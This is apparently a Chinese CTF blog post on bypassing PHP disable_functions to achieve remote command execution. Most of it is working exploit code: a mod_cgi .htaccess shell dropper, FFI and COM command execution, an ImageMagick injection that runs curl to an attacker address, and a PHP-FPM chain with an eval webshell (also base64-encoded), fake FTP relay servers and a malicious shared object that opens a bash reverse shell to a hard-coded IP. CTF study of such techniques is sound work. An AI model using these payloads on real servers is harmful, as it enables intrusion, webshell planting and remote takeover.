checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

Json Serializer UAF

⭐参考: GitHub - mm0r1/exploits: Pwn stuff.

利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是

  • 7.1 – all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

GC UAF

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

Backtrace UAF

影响版本是7.0-7.4

FFI扩展

php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的

传入ffi.php。

1
2
3
4
5
6
7
//ffi.php
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
?>

ImageMagick

两种利用方式,第一种是执行外带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'curl xx.xx.xx.xx:9962/`whoami`';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(http://IP:PORT/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("test.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('test.mvg');
$thumb->writeImage('test.png');
$thumb->clear();
$thumb->destroy();
unlink("test.mvg");
unlink("test.png");
?>

监听即可。

第二种本质上还是LD_PRELOAD,原因在于Imagick()和mail()一样会启用新进程。上传exploit.so(反弹shell)与test.mo,然后执行代码:

1
backdoor=putenv("LD_PRELOAD=/tmp/79e3f0b59df431154c088db7e45ebe6b/exploit.so");$mov = new Imagick("/tmp/79e3f0b59df431154c088db7e45ebe6b/test.mov");

开启新进程的过程中就会加载恶意so。

COM组件

仅适用于windows,开启com.allow_dcom = true,添加extension=php_com_dotnet.dll。

1
2
3
4
5
6
7
8
9
//exp.php
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

PHP-FPM

FPM有TCP模式与Unix Socket模式,这里利用TCP模式构造fastcgi协议与fpm通信, 开启PHP_ADMIN_VALUE来加载恶意so。

此利用方式主要需要解决的问题是

  • so的上传,需要目录写权限。
  • 如何把二进制攻击流量打入fpm,我们知道gopher协议是支持转发二进制流量的,通常我们可以使用gopher+fpm利用curl实现ssrf rce,但是gopher协议受curl支持,不受php支持,要在php转发二进制流量需要借助FTP PASV mode。
    • 若目标机器出网,则可以在vps上运行恶意ftp转发流量打fpm。(参考one pointer php)
    • 若目标机器不出网,则只能在机器本地起恶意ftp。(参考make php great and great again)
目标出网

1.编写并上传恶意so

1
2
3
4
5
6
7
8
9
//恶意so
#define _GNU_SOURCE

#include <stdlib.h>

__attribute__ ((__constructor__)) void preload (void)
{
system("bash -i >& /dev/tcp/101.33.203.2/4444 0>&1");
}
1
gcc evil.c -o evil.so --shared -fPIC

写一个脚本ftp.php用于上传

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
@mkdir('test');
chdir("test");ini_set("open_basedir","..");chdir("..");chdir("..");chdir("..");chdir("..");ini_set("open_basedir","/");
$context = stream_context_create(array('ftp' => array('overwrite' => true)));
@var_dump(file_put_contents($_GET['url'],$_POST['payload'],0,$context));
@eval($_REQUEST['code']);
?>

base64编码并写入ftp.php

1
2
3
4
5
6
7
8
9
backdoor=file_put_contents('ftp.php',base64_decode('PD9waHAKc2hvd19zb3VyY2UoX19GSUxFX18pOwpAbWtkaXIoJ3Rlc3QnKTsKY2hkaXIoInRlc3QiKTtpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2NoZGlyKCIuLiIpO2luaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTsKJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2Z0cCcgPT4gYXJyYXkoJ292ZXJ3cml0ZScgPT4gdHJ1ZSkpKTsKQHZhcl9kdW1wKGZpbGVfcHV0X2NvbnRlbnRzKCRfR0VUWyd1cmwnXSwkX1BPU1RbJ3BheWxvYWQnXSwwLCRjb250ZXh0KSk7CkBldmFsKCRfUkVRVUVTVFsnY29kZSddKTsKPz4=')); 

#可以开个远程的ftp尝试一下

POST /ftp.php?url=ftp://aa:passwd@IP/test.txt HTTP/1.1
............
payload=hello

#vps出现test.txt则出网

传恶意so

1
2
3
4
5
from urllib.parse import quote
c = quote(open("evil.so","rb").read())
open("payload.txt","w").write(c)
# POST /ftp.php?url=/var/www/html/evil.so
# body里放payload.txt

2.vps运行evil_ftp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#evil_ftp.py
import socket
print("[+] listening ...........")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 (vsFTPd 3.0.3)\r\n')
print(conn.recv(0xff))
conn.send(b'331 Please specify the password.\r\n')
print(conn.recv(0xff))
conn.send(b'230 Login successful.\r\n')
print(conn.recv(0xff))
conn.send(b'200 Switching to Binary mode.\r\n')
print(conn.recv(0xff))
conn.send(b"550 Could not get file size.\r\n")
print(conn.recv(0xff))
conn.send(b'000 use PASV then\r\n')
print(conn.recv(0xff))
conn.send(b'227 Entering Passive Mode (127,0,0,1,0,9001).\r\n') #转发流量至fpm运行的端口
print(conn.recv(0xff))
conn.send(b'150 Ok to send data.\r\n')
# sending payload .....
conn.send(b'226 Transfer complete.\r\n')
print(conn.recv(0xff))
conn.send(b'221 Goodbye.\r\n')
conn.close()
print("[+] completed ~~")

3.生成恶意fpm流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}

/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}

/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can not multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>


<?php

/************ config ************/

// your extension directory path
$ext_dir_path = '/tmp/';

// your extension name
$ext_name = 'evil.so'; //恶意so

// unix socket path or tcp host
$connect_path = '127.0.0.1';

// tcp connection port (unix socket: -1)
$port = "9000";

// Don't use this exploit file itself
$filepath = '/var/www/html/index.php';

// your php payload location
$prepend_file_path = '/tmp/1.txt';

/********************************/

$req = '/' . basename($filepath);
$uri = $req;
$client = new FCGIClient($connect_path, $port);

// disable open_basedir and open allow_url_include
$php_value = "allow_url_include = Onnopen_basedir = /nauto_prepend_file = " . $prepend_file_path;
$php_admin_value = "extension_dir=" . $ext_dir_path . "nextension=" . $ext_name;

$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value,
'PHP_ADMIN_VALUE' => $php_admin_value,
'SERVER_SOFTWARE' => 'kaibro-fastcgi-rce',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
);

// print_r($_REQUEST);
// print_r($params);

echo "Call: $urinn";
echo $client->request($params, NULL);
?>

4.利用file_put_contents()传payload到vps-ftp并转发到本地fpm

1
2
3
POST /ftp.php?url=ftp://vps:9999/code.txt HTTP/1.1
............
payload=<恶意fpm流量>

执行指令后反弹shell。

目标不出网

与出网的区别就在于要在本地开一个evil_ftp转发流量,下面是php版本的evil_ftp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//evil_ftp.php
<?php
$socket = stream_socket_server("tcp://0.0.0.0:9999", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {
print_r("[+] listening .......\n");
while ($conn = stream_socket_accept($socket)) {
print_r("[+] catch .......\n");
fwrite($conn, "220 (vsFTPd 3.0.3)\r\n");
echo fgets($conn);
fwrite($conn, "331 Please specify the password.\r\n");
echo fgets($conn);
fwrite($conn, "230 Login successful.\r\n");
echo fgets($conn);
fwrite($conn, "200 Switching to Binary mode.\r\n");
echo fgets($conn);
fwrite($conn, "550 Could not get file size.\r\n");
echo fgets($conn);
fwrite($conn, "000 use PASV then\r\n");
echo fgets($conn);
fwrite($conn, "227 Entering Passive Mode (127,0,0,1,0,11451).\r\n");
echo fgets($conn);
fwrite($conn, "150 Ok to send data.\r\n");
// sending payload ......
fwrite($conn, "226 Transfer complete.\r\n");
echo fgets($conn);
fwrite($conn, "221 Goodbye.\r\n");
fclose($conn);
print_r("[+] completed ~~\n");
}
fclose($socket);
}
?>

访问脚本跑起来之后其余步骤与出网相同,不再赘述

1
2
3
POST /ftp.php?url=ftp://127.0.0.1:9999/code.txt HTTP/1.1
............
payload=<恶意fpm流量>

ctf-php中的RceBypass
http://example.com/2022/09/12/ctf-php中的RceBypass/
Author
springtime
Posted on
September 12, 2022
Licensed under